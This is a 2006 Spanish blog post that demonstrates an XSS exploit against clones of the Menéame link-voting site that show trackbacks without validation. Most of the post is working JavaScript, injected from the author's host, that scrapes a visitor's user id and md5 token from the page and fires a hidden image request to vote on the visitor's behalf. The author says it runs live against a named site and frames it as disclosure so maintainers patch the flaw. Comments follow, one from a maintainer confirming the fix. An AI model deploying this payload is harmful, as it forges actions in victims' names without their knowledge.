Anuncia aquí

Importancia de la validación de datos – Demostración

Finalmente, presento un pequeño exploit que hice para aprovechar la falla comentada en anteriores posts. Lo que hace el exploit es enviar un "ataque" XSS para que el script http://test.buayacorp.com/s.js cargue en la página afectada.

javascript:
window.onload = function () {
        var doc = document.body.innerHTML;
        var match = /menealo\((\d+),(\d+),\2,'([^']+)'\)/.exec(doc);
        if (match != null && match.length == 4) {
                var img = '
<img src="/backend/menealo.php?user=' + match[1] + '&id=' + match[2] + '&md5=' + match[3] + '" style="display:none" />';

                document.write(img);
        }
}

Pueden ver el caso de prueba en floreame, a quienes de antemano pido disculpas por las molestias causadas y sugiero que actualizen a la última versión de el script para solucionar esto. Cada vez que entren en esta dirección, automáticamente estarán meneando el enlace enviado.

Código fuente: http.zip

Disclaimer: Este exploit ha sido publicado con el fin de que los pocos lectores de este sitio ayuden en cierta medida a que los responsables de los diferentes clones de Menéame que muestren el listado de trackbacks, puedan corregir la falla descrita en posts anteriores.

Esta entrada fue publicada en PHP, Seguridad

4 Comentarios

  1. 1 Carlos Montalvo (4 de octubre de 2006, 12:35:00 am)

    Sano???? ke hablas men.... me da curiosidad alguien ke habla de programacion... opte por wordpress ... si sabes tanto de programacion por ke no haces un blog tu mismo... :D ...

  2. 2 Maxac (6 de octubre de 2006, 09:14:17 pm)

    tons que haces comentando en un blog con wordpress, deberias estar comentando en slashdot o barrapunto, troll!!

  3. 3 WillyWG (11 de octubre de 2006, 11:57:08 am) http://willy.tiperu.com

    Actulizado Floréame. Se agradece el consejo.

  4. 4 yamile (11 de febrero de 2007, 02:23:14 pm)

    hola! lo que necesito es que son validacion de datos

Publicar un Comentario

Tu email nunca será publicado o compartido. Los campos requeridos están marcados con un *

*
*

Puedes usar estas etiquetas y atributos HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>